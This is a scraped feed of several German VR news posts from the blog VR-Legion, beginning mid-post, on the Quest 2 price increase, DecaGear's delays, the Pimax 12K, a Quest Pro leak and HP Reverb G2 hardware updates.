Vorbestellen lässt sich das Logitech Chorus Zubehör ab sofort für 99,99€ im offiziellen Logitech Onlineshop.
Bildquelle: Logitech.com
Der Beitrag Quest 2: Logitech kündigt Kopfhörer-Upgrade „Chorus“ an erschien zuerst auf VR-Legion.
]]>Der Beitrag Quest 2 Preiserhöhung ab dem 01.08.2022 erschien zuerst auf VR-Legion.
]]>
Ich bin grade zufällig über die Nachricht einer Preiserhöhung zur Quest 2 gestoßen und wollte euch sofort darüber informieren.
Leider sieht man es heutzutage fast überall. Preiserhöhungen machen uns grade in allen Lebensbereichen das Leben schwer. Nun ist auch Meta davon betroffen und hat verkündet, dass alle Quest 2 Modelle vom 01.08.2022 an teurer werden. Die Preise sind bisher nur in Dollar angegeben und die Änderungen besagen:
Quest 2 – 128GB – Anstieg des Preises von 299 Dollar zu 399 Dollar
Quest 2 – 256GB – Anstieg des Preises von 399 Dollar zu 499 Dollar

Immerhin gab es die Ankündigung ein paar Tage vor der eigentlichen Preiserhöhung. Euch bleibt also ein klitzekleines Zeitfenster, bis die Preiserhöhungen auch hier auf den Preis angerechnet werden. Sollte ich die ersten Preisänderungen sehen, werde ich den Artikel mit einem Update versehen. Leider sind auch die Gründe bisher nicht bekannt. Bekanntlicher weise kämpft aber selbst Meta grade mit finanziellen Problemen und wird von seinen Investoren unter Druck gesetzt. Hoffen wir mal, dass solche Preiserhöhungen nicht zur Norm werden. Ihr könnt aber bei Interesse die Quest 2 noch über die französische Elektronik-Kette Fnac bestellen. Amazon scheint derweil leider ausverkauft zu sein.
Link zum französischen Store Fnac (Paypal auch erlaubt)

Der Beitrag Quest 2 Preiserhöhung ab dem 01.08.2022 erschien zuerst auf VR-Legion.
]]>Der Beitrag DecaGear – Höherer Preis und Produktionsprobleme erschien zuerst auf VR-Legion.
]]>
Die Firma Megadodo steht vor großen Lieferproblemen und muss ihr geplantes Headset DecaGear teurer verkaufen als geplant.
Ein paar von euch haben dem DecaGear Headset hinterher gefiebert, doch das endet nun eher in einer Sackgasse. Megadodo hat vor einigen Tagen bekannt gegeben, dass es einige große Hürden gibt, die sie nicht bewältigen können. Darunter die Konkurrenz in Meta, Lieferprobleme im Elektronikbereich und fehlende Investoren. Daraus schließt der Gründer von Megadodo, Or Kuntzman, dass das Headset eher in Richtung 700 Dollar kosten wird. Weiterhin wird sich auch das geplante Erscheinungsdatum in die ferne Zukunft verschieben. Die Firma geht davon aus, dass es eine limitierte Edition für alle Vorbesteller geben wird, die Ende 2022 erscheinen soll. Kommende Headsets werden dann in 2023 extern von einem anderen Hersteller gefertigt und nicht mehr von Megadodo selbst. Megadodo möchte dann mehr im Softwarebereich punkten. Mehr dazu im Artikel.
Zitat von Or Kunzman – CEO von MEgadodo
“Die Halbleiterindustrie priorisiert Großaufträge, während die Investoren zu viele Risiken für umfangreiche Investitionen sehen. Selbst wenn wir die finanziellen Probleme lösen und das Headset so produzieren, wie es ist, liegt sein aktueller Preis bei ~$700, mehr als doppelt so hoch wie die Kosten für die Quest 2.“
Teilweise gibt es hier eine gute Nachricht. Bereits vorbestellte Headsets werden bei den versprochenen 449 Dollar bleiben. Doch leider gibt es auch eine Klausel, dass Megadodo bei Nichteinhaltung keinerlei Haftung übernimmt und nur den Vorbestellpreis bei Nichtlieferung erstatten muss. Weitere Details werden erst in ca. einer Woche erwartet, wo Megadodo ein weiteres Statement abgeben will. Falls unter euch noch Vorbesteller sind, die unbedingt ihr DecaGear Headsets haben wollen, dann drücke ich euch beide Daumen. Rechtlich gesehen bleibt es dennoch ein Glücksspiel und wir haben bisher nicht ein funktionierendes Headset gesehen.

Wenn Megadodo nur noch die vorbestellten Headsets als limitierte Edition herstellen wollen, was wird dann aus der Firma? Die Antwort ist schon bekannt. Kuntzman will in Zukunft eher auf die Erstellung eines offenen Betriebssystemes für standalone VR-Headsets setzen. Der dazu gewählte Name „DecaBrick“ lässt mir schon jetzt den Schauer über den Rücken laufen. Denn unter „gebricked“ versteht man ein nicht mehr nutzbares Gerät, welches oft durch einen Softwareschaden betroffen ist. Des Weiteren haben die Gründer von Megadodo keine weiße Weste und waren in der Vergangenheit an der Verbreitung von Ad- und Malware beteiligt. Daher bezweifele ich, dass viele Headset-Hersteller mit ihnen zusammen arbeiten werden.

Wenn das Headset nicht noch weitere Verzögerungen erlebt, wird es Ende 2022 auf den Markt kommen. Zu dem Zeitpunkt wird es schon zahlreiche Konkurrenzprodukte geben, die in Sachen Technik und Formfaktor die Nase vorn haben werden. Und selbst die prophezeiten Features des DecaGear Headsets sind bis dahin längst Standard geworden. Jeder der seine Vorbestellung aufrecht halten will, dem wünsche ich viel Glück und Freude daran. Für mich ist das Headset immer mehr zu einem Windei geworden. Zudem hat die Firma Megadodo nicht ein funktionierendes Headset präsentieren können. Keiner konnte es bisher testen und ich bezweifele, dass das Headset in dem versprochenen Umfang überhaupt existiert.
Was denkt ihr über das DecaGear Headset und habt ihr eine Vorbestellung getätigt?
Der Beitrag DecaGear – Höherer Preis und Produktionsprobleme erschien zuerst auf VR-Legion.
]]>Der Beitrag Pimax 12K vorgestellt. Das beste VR Headset am High End Himmel? erschien zuerst auf VR-Legion.
]]>
Vorgestern hat Pimax ihr neustes VR Headset vorgestellt. Wir haben für euch alle Infos, aber auch Warnungen.
Viele von euch werden bestimmt die Ankündigungen von Pimax schon verfolgt haben. Pimax hat mit ihrem 12K Headset die Augen aller VR Enthusiasten zum Glänzen gebracht. Sei es durch Freudentränen oder weil sie an vergangene Probleme mit dem Pimax-Kundenservice denken mussten. Ich brauchte auch erst ein paar Tage, um die erste Welle der Vorfreude weichen zu lassen und zurück zur Realität zu finden. Deshalb spreche ich gleich auch ein paar Warnungen aus, falls ihr mit dem Gedanken spielt euch eine Pimax 12K zuzulegen. Pimax hat leider keine vorzeigbare Vergangenheit, wenn es um ihren Kundenservice und Lieferterminen geht. Kommen wir aber erst zum angenehmen Teil und sprechen über die technischen Spezifikationen.

Pimax hat hier ganz tief in die Trickkiste gegriffen. Alle Spezifikationen und Verbesserungen zu dem Vorgängerbrillen hören sich wie ein feuchter Traum der VR-Spieler an. Die Brille versucht, die eierlegende Wollmilchsau der VR-Szene zu werden. Sonstige Nachteile, die bisher alle VR-Brillen mit sich gebracht haben, scheinen hier komplett zu fehlen. Pimax hat durch eine komplett neue Bauweise und Linsen alle Nachteile der Vorgänger beseitigt. Keine Verzerrungen oder Briefkasten-FOV mehr. Sie bietet nun sogar ein so großes FOV, dass die Brille sehr nah an den kompletten Sichtbereich des Menschen ran reicht. Die Pimax 12K kann kabelgebunden als normale PC VR-Brille genutzt werden oder im Standalone Modus komplett kabellos PC VR Spiele zur Brille streamen. Das klappt sogar bis zu 3 Stunden, mit einem auswechselbaren Akku, der auch als Gegengewicht in der Kopfhalterung dient. Es wird sogar optionale Upgrades geben, die Inside-Out Bodytracking und sogar einen AR-Modus ermöglichen. Doch Vorsicht. Pimax hat sich mit Versprechungen schon oft übernommen und ich persönlich warte erstmal Testberichte ab. Auch sind viele Spielereien nur optional und müssen dazugekauft werden. Die angegebenen 2,399 Dollar beziehen sich nur auf das Basismodell, was bisher nicht näher definiert wurde.

Ein weiterer Punkt ist die Modularität der Pimax 12K. Ihr könnt mit verschiedenen Aufsätzen die normalen Funktionen der Brille erweitern. Bisher sind drei verschiedene Aufsätze bekannt. Einer für optionales SteamVR Lighthouse-Tracking, damit ihr die Brille mit den Lighthouses und Index Controllern nutzen könnt. Ein weiterer Aufsatz, damit die Brille AR-Funktionen erhält. Und der Standardaufsatz, mit dem ihr Inside Out Tracking bekommt. So sollte wirklich für jeden Nutzer etwas dabei sein. Preise und wann die verschiedenen Aufsätze geliefert werden, ist bisher nicht bekannt. Auch sind wir gespannt, wie gut das beworbene Inside Out-Tracking sein wird. Viele andere Hersteller hatten ja einige Probleme damit.

Leider muss ich hier eine Warnung an alle potenziellen Kunden aussprechen. Pimax hat leider schon in der Vergangenheit gezeigt, dass sie unzuverlässig sind und deren Kundenservice quasi nicht existiert. Auch ist die gezeigte Brille bisher bestenfalls nur ein Prototyp und keiner, außer Pimax selbst, hatte sich bisher in den Händen. Dies soll sich aber zur CES 2022 im Januar ändern. Dort wird Pimax ihre neue Brille den Besuchern der CES präsentieren und zum Testen bereitstellen. Ich persönlich werde erstmal verschiedene Testberichte abwarten, die Brille im MRTV Hauptquartier testen und auch auf Drittanbieter wie Amazon warten. Denn bei über 2000 Euro möchten man nicht auf das Glücksspiel mit Pimax und deren Kundenservice setzen. Trotzdem ein vielversprechendes Headset, aber ob Pimax am Ende auch überzeugen kann, werden wir erst noch sehen. Habt ihr ein Auge auf die Brille geworfen?
Der Beitrag Pimax 12K vorgestellt. Das beste VR Headset am High End Himmel? erschien zuerst auf VR-Legion.
]]>Der Beitrag Quest Pro geleaked! Erstes Video im Artikel erschien zuerst auf VR-Legion.
]]>
Gestern ist das erste Video und Hinweise auf die kommende Quest Pro geleaked worden. Alles Weitere lest ihr hier.
Es hat sich wohl eine Lücke bei Facebook aufgetan. Gestern ist ein Video geleaked worden, was die verschiedenen Anwendungsgebiete der Quest Pro zeigt. Es standen ja schon seit mehreren Monaten Gerüchte im Raum, dass Facebook an einer Quest Pro arbeitet. Des weiteren haben sich auch immer mehr Hinweise ergeben, dass Facebook auf ihrer Connect Veranstaltung eben dieses Headset der Öffentlichkeit präsentieren wird. Nun können wir schon vor dem 28.10.2021 einen ersten Blick auf die neue Hardware erhaschen. Das schwarze und relativ dünne Headset erinnert ein wenig an die neu vorgestellte Vive Flow aus dem Hause HTC. Auch die Controller haben sich einer Schlankheitskur unterzogen und die großen Trackingringe verloren. Wir können wohl sehr gespannt sein, was Facebook am Ende des Monats alles aus dem Hut zaubert. Wir halten euch auf dem Laufenden.
Anmeldungslink zur Facebook Connect 2021

Damit ihr auch einen Blick auf das Video werfen könnt, werde ich es euch nun hier anfügen. Was denkt ihr über das Headset und würdet ihr euch eine Quest Pro importieren? Das Headset könnte durchaus den Weg in den High-End Bereich schaffen. Verschiedene Hinweise im Video deuten auf eine bessere Passthrough Funktion, bessere Controller und vielleicht sogar Bodytracking hin. Das sind aber bisher nur Spekulationen. Genießt jetzt erstmal das Video und wir lesen uns, wenn es Neuigkeiten gibt.
Der Beitrag Quest Pro geleaked! Erstes Video im Artikel erschien zuerst auf VR-Legion.
]]>Der Beitrag Neu verkaufte HP Reverb G2 Headsets haben 30% besseres Tracking erschien zuerst auf VR-Legion.
]]>
Jedes neu verkaufte HP Reverb G2 Headset wird mit verschiedenen Verbesserungen zum Originalmodell kommen.
HP hat heute ein Statement rausgebracht, dass alle neu verkauften G2 Headsets verschiedene Verbesserungen haben sollen. Eine dieser Verbesserungen betreffen das Tracking, was von vielen Besitzern der G2 schon seit Launch kritisiert wurde. Das Tracking soll bei den neuen Headsets nun vertikal um 30% verbessert worden sein. Die neue Version kommt auch mit dem verbesserten 3-1 Kabel, welches USB-Verbindungsprobleme mit AMD Motherboards beheben soll. Dieses Kabel kann für ältere G2 Headsets nachgekauft werden und hilft dann auch gegen die bestehenden Verbindungsprobleme. Die dritte Verbesserung der neuen Headsets beinhaltet ein neues modulares Gesichtsmodul, welches durch einen entfernbaren Spacer den Gesichts-zu-Linsen-Abstand verringern kann. Dadurch soll man leichter den Sweetspot treffen können. Ich bin froh, dass die Trackingprobleme der G2 verbessert werden. Nur leider schauen G2 Besitzer hier in die Röhre, da nur neu verkaufte Headsets mit den Verbesserungen versehen werden.
Link zum HP Blogpost zu den Verbesserungen (Englisch)
Was denkt ihr über das Update? Da es noch kein deutsches Statement von HP gibt, hier nun eine kurze Übersetzung des Blogeintrages.

Neues und verbessertes Tracking, Kompatibilität und visuelle Anpassungen
Letztes Jahr haben wir das HP Reverb G2 Headset auf den Markt gebracht, ein Headset mit hochmoderner Optik, lang anhaltendem Tragekomfort und Plug-and-Play-Unterstützung für Windows Mixed Reality und SteamVR.
Heute freuen wir uns, ein Trio neuer Upgrades anzukündigen, die unser preisgekröntes Original-Headset noch besser machen. Beim Kauf eines neuen Reverb G2-Headsets erhalten Sie Upgrades für verbessertes vertikales Controller-Tracking, erhöhte AMD-Kompatibilität und erweiterte Anpassungsmöglichkeiten für den Augenabstand zur Linse.
Wir wissen, dass gut nicht gut genug ist, wenn es um Controller-Tracking geht. Deshalb haben wir im letzten Jahr unsere Tracking-Fähigkeiten verfeinert, damit die Benutzer unabhängig von ihrem Spiel das gleiche großartige Erlebnis haben. Dieses Upgrade steigert die Tracking-Fähigkeiten des Headsets erheblich – es erhöht das vertikale Tracking-Volumen um 30% im Vergleich zu unserem ursprünglichen Headset und behebt blinde Zonen über und unter der Taille.
Neben dem verbesserten Tracking haben wir auch unsere Kompatibilität mit mehr Systemen erweitert. In Zusammenarbeit mit AMD haben wir eine Lösung entwickelt, die Verbindungsprobleme behebt, die bei einigen Benutzern aufgetreten sind. Dieses neue verbesserte Kabel ist nicht nur auf Neukäufe beschränkt, sondern kann auch online für ursprüngliche HP Reverb G2 Kunden erworben werden.
Unser letztes Update beinhaltet ein völlig neues Design der Gesichtsmaske, das es den Benutzern ermöglicht, ihren Augenabstand einzustellen, um sicherzustellen, dass sie ihren visuellen „Sweet Spot“ besser erreichen können. Diese neue Gesichtsmaske kommt jetzt mit einem abnehmbaren Abstandshalter, mit dem der Augenabstand auf 15 mm (mit aufgesetztem Abstandshalter und wie am Original-Headset befestigt) oder 9 mm (ohne Abstandshalter) eingestellt werden kann. Diese erweiterte Auswahl ermöglicht es den Benutzern, die unglaublichen visuellen Möglichkeiten des Reverb G2 Headsets zu erleben.
HP Reverb G2 Updates für neu verkaufte Headsets:
Verbessertes Controller-Tracking: Verbessertes Tracking unterhalb der Taille mit 30% mehr vertikaler Abdeckung.
* Die verbesserte vertikale Abtastung wird auch in der HP Reverb G2 Omnicept Edition2 enthalten sein.Kabel: Aktualisiertes 6-Meter-Kabel für verbesserte Kompatibilität mit AMD-Systemen und Behebung von Verbindungsproblemen.
Gesichtsmaske: Dank des neuen Designs kann der Augenabstand auf 9 mm oder 15 mm eingestellt werden, so dass die Benutzer ihren visuellen Sweet Spot besser einstellen können.
Der Beitrag Neu verkaufte HP Reverb G2 Headsets haben 30% besseres Tracking erschien zuerst auf VR-Legion.
]]>